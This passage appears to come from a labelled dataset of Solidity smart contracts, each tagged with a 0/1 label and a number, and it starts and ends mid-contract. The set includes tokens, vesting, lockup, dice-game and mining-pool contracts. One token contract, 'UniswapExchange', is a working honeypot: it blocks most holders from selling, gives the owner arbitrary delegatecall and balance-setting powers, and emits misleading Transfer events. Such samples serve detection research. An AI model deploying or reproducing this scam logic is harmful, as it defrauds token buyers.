uint256 balance = _token.balanceOf(this);
_token.safeTransfer(owner, balance);
}
}
contract TokenWithBlackList is BasicToken, Ownable {
mapping (address => bool) public BlackList;
modifier notBlackListed(address _addr) {
require(!BlackList[_addr], "Blacklisted.");
_;
}
function getBlackListStatus(address _addr) external view returns (bool) {
return BlackList[_addr];
}
function addBlackList(address _addr) public onlyOwner {
BlackList[_addr] = true;
emit AddedBlackList(_addr);
}
function removeBlackList(address _addr) public onlyOwner {
BlackList[_addr] = false;
emit RemovedBlackList(_addr);
}
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract EDRAQToken is DetailedERC20, CappedToken, PausableToken, Claimable, CanReclaimToken, TokenWithBlackList {
using SafeMath for uint256;
uint256 public constant INITIAL_SUPPLY = 200 * 10000 * 10000 * (10 ** 18);
constructor()
DetailedERC20("EDRA Q", "EDRA", 18)
CappedToken(1000 * 10000 * 10000 * (10 ** 18))
public {
totalSupply_ = INITIAL_SUPPLY;
balances[owner] = INITIAL_SUPPLY;
emit Transfer(address(0), owner, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) public whenNotPaused notBlackListed(msg.sender) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused notBlackListed(_from) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
} | 1 | 3,672 |
pragma solidity 0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library SafeMath64 {
function mul(uint64 a, uint64 b) internal constant returns (uint64) {
uint64 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint64 a, uint64 b) internal constant returns (uint64) {
uint64 c = a / b;
return c;
}
function sub(uint64 a, uint64 b) internal constant returns (uint64) {
assert(b <= a);
return a - b;
}
function add(uint64 a, uint64 b) internal constant returns (uint64) {
uint64 c = a + b;
assert(c >= a);
return c;
}
}
contract VestingERC20 {
using SafeMath for uint256;
using SafeMath64 for uint64;
struct Grant {
uint256 vestedAmount;
uint64 startTime;
uint64 cliffTime;
uint64 endTime;
uint256 withdrawnAmount;
}
mapping(address => mapping(address => mapping(address => Grant))) public grantPerTokenGranterVester;
mapping(address => mapping(address => uint256)) private balancePerPersonPerToken;
event NewGrant(address granter, address vester, address token, uint256 vestedAmount, uint64 startTime, uint64 cliffTime, uint64 endTime);
event GrantRevoked(address granter, address vester, address token);
event Deposit(address token, address granter, uint amount, uint balance);
event TokenReleased(address token, address granter, address vester, uint amount);
event Withdraw(address token, address user, uint amount);
function createVesting(
address _token,
address _vester,
uint256 _vestedAmount,
uint64 _startTime,
uint64 _grantPeriod,
uint64 _cliffPeriod)
external
{
require(_token != 0);
require(_vester != 0);
require(_cliffPeriod <= _grantPeriod);
require(_vestedAmount != 0);
require(_grantPeriod==0 || _vestedAmount * _grantPeriod >= _vestedAmount);
require(grantPerTokenGranterVester[_token][msg.sender][_vester].vestedAmount==0);
var cliffTime = _startTime.add(_cliffPeriod);
var endTime = _startTime.add(_grantPeriod);
grantPerTokenGranterVester[_token][msg.sender][_vester] = Grant(_vestedAmount, _startTime, cliffTime, endTime, 0);
balancePerPersonPerToken[_token][msg.sender] = balancePerPersonPerToken[_token][msg.sender].sub(_vestedAmount);
NewGrant(msg.sender, _vester, _token, _vestedAmount, _startTime, cliffTime, endTime);
}
function revokeVesting(address _token, address _vester)
external
{
require(_token != 0);
require(_vester != 0);
Grant storage _grant = grantPerTokenGranterVester[_token][msg.sender][_vester];
require(_grant.vestedAmount!=0);
sendTokenReleasedToBalanceInternal(_token, msg.sender, _vester);
balancePerPersonPerToken[_token][msg.sender] =
balancePerPersonPerToken[_token][msg.sender].add(
_grant.vestedAmount.sub(_grant.withdrawnAmount)
);
delete grantPerTokenGranterVester[_token][msg.sender][_vester];
GrantRevoked(msg.sender, _vester, _token);
}
function releaseGrant(address _token, address _granter, bool _doWithdraw)
external
{
sendTokenReleasedToBalanceInternal(_token, _granter, msg.sender);
if(_doWithdraw) {
withdraw(_token);
}
Grant storage _grant = grantPerTokenGranterVester[_token][_granter][msg.sender];
if(_grant.vestedAmount == _grant.withdrawnAmount)
{
delete grantPerTokenGranterVester[_token][_granter][msg.sender];
}
}
function withdraw(address _token)
public
{
uint amountToSend = balancePerPersonPerToken[_token][msg.sender];
balancePerPersonPerToken[_token][msg.sender] = 0;
Withdraw(_token, msg.sender, amountToSend);
require(ERC20(_token).transfer(msg.sender, amountToSend));
}
function sendTokenReleasedToBalanceInternal(address _token, address _granter, address _vester)
internal
{
Grant storage _grant = grantPerTokenGranterVester[_token][_granter][_vester];
uint256 amountToSend = getBalanceVestingInternal(_grant);
_grant.withdrawnAmount = _grant.withdrawnAmount.add(amountToSend);
TokenReleased(_token, _granter, _vester, amountToSend);
balancePerPersonPerToken[_token][_vester] = balancePerPersonPerToken[_token][_vester].add(amountToSend);
}
function getBalanceVestingInternal(Grant _grant)
internal
constant
returns(uint256)
{
if(now < _grant.cliffTime)
{
return 0;
}
else if(now >= _grant.endTime)
{
return _grant.vestedAmount.sub(_grant.withdrawnAmount);
}
else
{
return _grant.vestedAmount.mul(
now.sub(_grant.startTime)
).div(
_grant.endTime.sub(_grant.startTime)
).sub(_grant.withdrawnAmount);
}
}
function getVestingBalance(address _token, address _granter, address _vester)
external
constant
returns(uint256)
{
Grant memory _grant = grantPerTokenGranterVester[_token][_granter][_vester];
return getBalanceVestingInternal(_grant);
}
function getContractBalance(address _token, address _user)
external
constant
returns(uint256)
{
return balancePerPersonPerToken[_token][_user];
}
function deposit(address _token, uint256 _amount)
external
returns(uint256)
{
require(_token!=0);
require(ERC20(_token).transferFrom(msg.sender, this, _amount));
balancePerPersonPerToken[_token][msg.sender] = balancePerPersonPerToken[_token][msg.sender].add(_amount);
Deposit(_token, msg.sender, _amount, balancePerPersonPerToken[_token][msg.sender]);
return balancePerPersonPerToken[_token][msg.sender];
}
} | 0 | 559 |
pragma solidity 0.4.25;
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract CGCXMarchMassLock is Ownable {
using SafeERC20 for ERC20;
ERC20 public token;
mapping (address => uint256) public lockups;
uint256 public releaseTime;
constructor(address _token, uint256 _releaseTime) public {
token = ERC20(_token);
releaseTime = _releaseTime;
}
function release() public {
releaseFrom(msg.sender);
}
function releaseFrom(address _beneficiary) public {
require(block.timestamp >= releaseTime);
uint256 amount = lockups[_beneficiary];
require(amount > 0);
token.safeTransfer(_beneficiary, amount);
lockups[_beneficiary] = 0;
}
function releaseFromMultiple(address[] _addresses) public {
for (uint256 i = 0; i < _addresses.length; i++) {
releaseFrom(_addresses[i]);
}
}
function submit(address[] _addresses, uint256[] _amounts) public onlyOwner {
for (uint256 i = 0; i < _addresses.length; i++) {
lockups[_addresses[i]] = _amounts[i];
}
}
} | 1 | 2,849 |
pragma solidity ^0.4.24;
contract DiceGame {
uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0003 ether;
uint constant MIN_BET = 0.01 ether;
uint constant MAX_AMOUNT = 1000 ether;
uint constant MAX_ROLL_UNDER = 96;
uint constant MIN_ROLL_UNDER = 1;
uint constant BET_EXPIRATION_BLOCKS = 250;
address public croupier;
uint public maxProfit;
uint128 public lockedInBets;
uint128 public lockedInviteProfits;
struct Game {
uint amount;
uint8 rollUnder;
uint40 placeBlockNumber;
address player;
address inviter;
bool finished;
}
mapping (uint => Game) public bets;
mapping (bytes32 => bool) public administrators;
mapping (address => uint) public inviteProfits;
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
event ShowResult(uint reveal, uint result );
event Commit(uint commit);
modifier onlyAdmin {
address _customerAddress = msg.sender;
require(administrators[keccak256(abi.encodePacked(_customerAddress))], "Only Admin could call this function.");
_;
}
modifier onlyCroupier {
require (msg.sender == croupier, "Only croupier could call this function");
_;
}
constructor (address _croupier, uint _maxProfit) public {
administrators[0x4c709c79c406763d17c915eedc9f1af255061e3bf2e93e236a24e01486c7713a] = true;
croupier = _croupier;
require(_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number");
maxProfit = _maxProfit;
lockedInBets = 0;
lockedInviteProfits = 0;
}
function() public payable {
}
function setAdministrator(bytes32 _identifier, bool _status) external onlyAdmin {
administrators[_identifier] = _status;
}
function setCroupier(address newCroupier) external onlyAdmin {
croupier = newCroupier;
}
function setMaxProfit(uint _maxProfit) external onlyAdmin {
require (_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number.");
maxProfit = _maxProfit;
}
function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyAdmin {
require (withdrawAmount <= address(this).balance, "Increase amount larger than balance.");
require (lockedInBets + withdrawAmount <= address(this).balance, "Not enough funds.");
sendFunds(beneficiary, withdrawAmount);
}
function kill(address _owner) external onlyAdmin {
require (lockedInBets == 0, "All games should be processed (settled or refunded) before self-destruct.");
selfdestruct(_owner);
}
function placeGame(
uint rollUnder,
uint commitLastBlock,
uint commit,
bytes32 r,
bytes32 s,
address inviter
) external payable {
Game storage bet = bets[commit];
require (bet.player == address(0), "Game should be in a 'clean' state.");
require (msg.sender != inviter, "Player and inviter should be different");
uint amount = msg.value;
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be in range");
require (block.number <= commitLastBlock, "Commit has expired");
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
bytes32 signatureHash = keccak256(abi.encodePacked(prefix,commit));
require (croupier == ecrecover(signatureHash, 27, r, s), "Invalid signature");
require (rollUnder >= MIN_ROLL_UNDER && rollUnder <= MAX_ROLL_UNDER, "Roll under should be within range.");
uint possibleWinAmount;
uint inviteProfit;
address amountInvitor = inviter != croupier ? inviter : 0;
(possibleWinAmount,inviteProfit) = getDiceWinAmount(amount, rollUnder, amountInvitor);
require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation.");
lockedInBets += uint128(possibleWinAmount);
lockedInviteProfits += uint128(inviteProfit);
require ((lockedInBets + lockedInviteProfits) <= address(this).balance, "Cannot afford to lose this bet.");
emit Commit(commit);
bet.amount = amount;
bet.rollUnder = uint8(rollUnder);
bet.placeBlockNumber = uint40(block.number);
bet.player = msg.sender;
bet.finished = false;
if (inviter != croupier) {
bet.inviter = inviter;
}
}
function settleGame(uint reveal, bytes32 blockHash) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Game storage bet = bets[commit];
uint placeBlockNumber = bet.placeBlockNumber;
require (block.number > placeBlockNumber, "settleGame in the same block as placeGame, or before.");
require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Game has expired");
require (blockhash(placeBlockNumber) == blockHash, "Blockhash is not correct");
settleGameCommon(bet, reveal, blockHash);
}
function refundGame(uint commit) external {
Game storage bet = bets[commit];
bet.finished = true;
uint amount = bet.amount;
require (amount != 0, "Game should be in an 'active' state");
require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Game has not expired yet");
bet.amount = 0;
uint diceWinAmount;
uint inviteProfit;
(diceWinAmount,inviteProfit) = getDiceWinAmount(amount, bet.rollUnder, bet.inviter);
lockedInBets -= uint128(diceWinAmount);
sendFunds(bet.player, amount);
}
function withdrawInvitationProfit() external {
uint amount = inviteProfits[msg.sender];
require(amount > 0, "no profit");
inviteProfits[msg.sender] = 0;
lockedInviteProfits -= uint128(amount);
sendFunds(msg.sender, amount);
}
function getInvitationBalance() external view returns (uint profit){
profit = inviteProfits[msg.sender];
}
function settleGameCommon(Game storage bet, uint reveal, bytes32 entropyBlockHash) private {
uint amount = bet.amount;
uint rollUnder = bet.rollUnder;
address player = bet.player;
require (amount != 0, "Game should be in an 'active' state");
bet.amount = 0;
bytes32 seed = keccak256(abi.encodePacked(reveal, entropyBlockHash));
uint dice = uint(seed) % 100 + 1;
emit ShowResult(reveal, dice);
uint diceWinAmount;
uint inviteProfit;
(diceWinAmount, inviteProfit) = getDiceWinAmount(amount, rollUnder, bet.inviter);
uint diceWin = 0;
if (dice <= rollUnder) {
diceWin = diceWinAmount;
}
lockedInBets -= uint128(diceWinAmount);
inviteProfits[bet.inviter] += inviteProfit;
bet.finished = true;
sendFunds(player, diceWin);
}
function sendFunds(address beneficiary, uint amount) private {
if (amount > 0){
if (beneficiary.send(amount)) {
emit Payment(beneficiary, amount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
}
function getDiceWinAmount(uint amount, uint rollUnder, address inviter) private pure returns (uint winAmount, uint inviteProfit) {
require (MIN_ROLL_UNDER <= rollUnder && rollUnder <= MAX_ROLL_UNDER, "Win probability out of range.");
uint houseEdge = amount / 50;
inviteProfit = 0;
if (inviter > 0) {
inviteProfit = amount / 100;
houseEdge = amount / 100;
}
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
require (houseEdge <= amount, "Bet doesn't even cover house edge.");
winAmount = (amount - houseEdge - inviteProfit) * 100 / rollUnder;
}
} | 0 | 512 |
pragma solidity ^0.4.13;
contract ReentrancyGuard {
bool private rentrancy_lock = false;
modifier nonReentrant() {
require(!rentrancy_lock);
rentrancy_lock = true;
_;
rentrancy_lock = false;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract BitcoineumInterface {
function mine() payable;
function claim(uint256 _blockNumber, address forCreditTo);
function checkMiningAttempt(uint256 _blockNum, address _sender) constant public returns (bool);
function checkWinning(uint256 _blockNum) constant public returns (bool);
function transfer(address _to, uint256 _value) returns (bool);
function balanceOf(address _owner) constant returns (uint256 balance);
function currentDifficultyWei() constant public returns (uint256);
}
contract SharkPool is Ownable, ReentrancyGuard {
string constant public pool_name = "SharkPool 200";
uint256 public pool_percentage = 5;
uint256 constant public max_users = 100;
uint256 public total_users = 0;
uint256 public constant divisible_units = 10000000;
uint256 public contract_period = 100;
uint256 public mined_blocks = 1;
uint256 public claimed_blocks = 1;
uint256 public blockCreationRate = 0;
BitcoineumInterface base_contract;
struct user {
uint256 start_block;
uint256 end_block;
uint256 proportional_contribution;
}
mapping (address => user) public users;
mapping (uint256 => uint256) public attempts;
mapping(address => uint256) balances;
uint8[] slots;
address[256] public active_users;
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function set_pool_percentage(uint8 _percentage) external nonReentrant onlyOwner {
require(_percentage < 11);
pool_percentage = _percentage;
}
function find_contribution(address _who) constant external returns (uint256, uint256, uint256, uint256, uint256) {
if (users[_who].start_block > 0) {
user memory u = users[_who];
uint256 remaining_period= 0;
if (u.end_block > mined_blocks) {
remaining_period = u.end_block - mined_blocks;
} else {
remaining_period = 0;
}
return (u.start_block, u.end_block,
u.proportional_contribution,
u.proportional_contribution * contract_period,
u.proportional_contribution * remaining_period);
}
return (0,0,0,0,0);
}
function allocate_slot(address _who) internal {
if(total_users < max_users) {
active_users[total_users] = _who;
total_users += 1;
} else {
if (slots.length == 0) {
revert();
} else {
uint8 location = slots[slots.length-1];
active_users[location] = _who;
delete slots[slots.length-1];
}
}
}
function external_to_internal_block_number(uint256 _externalBlockNum) public constant returns (uint256) {
return _externalBlockNum / blockCreationRate;
}
function available_slots() public constant returns (uint256) {
if (total_users < max_users) {
return max_users - total_users;
} else {
return slots.length;
}
}
event LogEvent(
uint256 _info
);
function get_bitcoineum_contract_address() public constant returns (address) {
return 0x73dD069c299A5d691E9836243BcaeC9c8C1D8734;
}
function distribute_reward(uint256 _totalAttempt, uint256 _balance) internal {
uint256 remaining_balance = _balance;
for (uint8 i = 0; i < total_users; i++) {
address user_address = active_users[i];
if (user_address > 0 && remaining_balance != 0) {
uint256 proportion = users[user_address].proportional_contribution;
uint256 divided_portion = (proportion * divisible_units) / _totalAttempt;
uint256 payout = (_balance * divided_portion) / divisible_units;
if (payout > remaining_balance) {
payout = remaining_balance;
}
balances[user_address] = balances[user_address] + payout;
remaining_balance = remaining_balance - payout;
}
}
}
function SharkPool() {
blockCreationRate = 50;
base_contract = BitcoineumInterface(get_bitcoineum_contract_address());
}
function current_external_block() public constant returns (uint256) {
return block.number;
}
function calculate_minimum_contribution() public constant returns (uint256) {
return base_contract.currentDifficultyWei() / 10000000 * contract_period;
}
function () payable {
require(msg.value >= calculate_minimum_contribution());
user storage current_user = users[msg.sender];
if (current_user.start_block > 0) {
if (current_user.end_block > mined_blocks) {
uint256 periods_left = current_user.end_block - mined_blocks;
uint256 amount_remaining = current_user.proportional_contribution * periods_left;
amount_remaining = amount_remaining + msg.value;
amount_remaining = amount_remaining / contract_period;
current_user.proportional_contribution = amount_remaining;
} else {
current_user.proportional_contribution = msg.value / contract_period;
}
do_redemption();
} else {
current_user.proportional_contribution = msg.value / contract_period;
allocate_slot(msg.sender);
}
current_user.start_block = mined_blocks;
current_user.end_block = mined_blocks + contract_period;
}
function mine() external nonReentrant
{
uint256 _blockNum = external_to_internal_block_number(current_external_block());
require(!base_contract.checkMiningAttempt(_blockNum, this));
uint256 total_attempt = 0;
uint8 total_ejected = 0;
for (uint8 i=0; i < total_users; i++) {
address user_address = active_users[i];
if (user_address > 0) {
user memory u = users[user_address];
if (u.end_block <= mined_blocks) {
if (total_ejected < 10) {
delete active_users[i];
slots.push(i);
delete users[active_users[i]];
total_ejected = total_ejected + 1;
}
} else {
total_attempt = total_attempt + u.proportional_contribution;
}
}
}
if (total_attempt > 0) {
attempts[_blockNum] = total_attempt;
base_contract.mine.value(total_attempt)();
mined_blocks = mined_blocks + 1;
}
}
function claim(uint256 _blockNumber, address forCreditTo)
nonReentrant
external returns (bool) {
require(base_contract.checkWinning(_blockNumber));
uint256 initial_balance = base_contract.balanceOf(this);
base_contract.claim(_blockNumber, this);
uint256 balance = base_contract.balanceOf(this);
uint256 total_attempt = attempts[_blockNumber];
distribute_reward(total_attempt, balance - initial_balance);
claimed_blocks = claimed_blocks + 1;
}
function do_redemption() internal {
uint256 balance = balances[msg.sender];
if (balance > 0) {
uint256 owner_cut = (balance / 100) * pool_percentage;
uint256 remainder = balance - owner_cut;
if (owner_cut > 0) {
base_contract.transfer(owner, owner_cut);
}
base_contract.transfer(msg.sender, remainder);
balances[msg.sender] = 0;
}
}
function redeem() external nonReentrant
{
do_redemption();
}
function checkMiningAttempt(uint256 _blockNum, address _sender) constant public returns (bool) {
return base_contract.checkMiningAttempt(_blockNum, _sender);
}
function checkWinning(uint256 _blockNum) constant public returns (bool) {
return base_contract.checkWinning(_blockNum);
}
} | 1 | 4,729 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] > _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require(msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,081 |
pragma solidity ^0.4.26;
interface IRC20Protocol {
function transfer(address, uint) external returns (bool);
function transferFrom(address, address, uint) external returns (bool);
function balanceOf(address _owner) external view returns (uint);
}
pragma solidity 0.4.26;
interface IQuota {
function userLock(uint tokenId, bytes32 storemanGroupId, uint value) external;
function userBurn(uint tokenId, bytes32 storemanGroupId, uint value) external;
function smgRelease(uint tokenId, bytes32 storemanGroupId, uint value) external;
function smgMint(uint tokenId, bytes32 storemanGroupId, uint value) external;
function upgrade(bytes32 storemanGroupId) external;
function transferAsset(bytes32 srcStoremanGroupId, bytes32 dstStoremanGroupId) external;
function receiveDebt(bytes32 srcStoremanGroupId, bytes32 dstStoremanGroupId) external;
function getUserMintQuota(uint tokenId, bytes32 storemanGroupId) external view returns (uint);
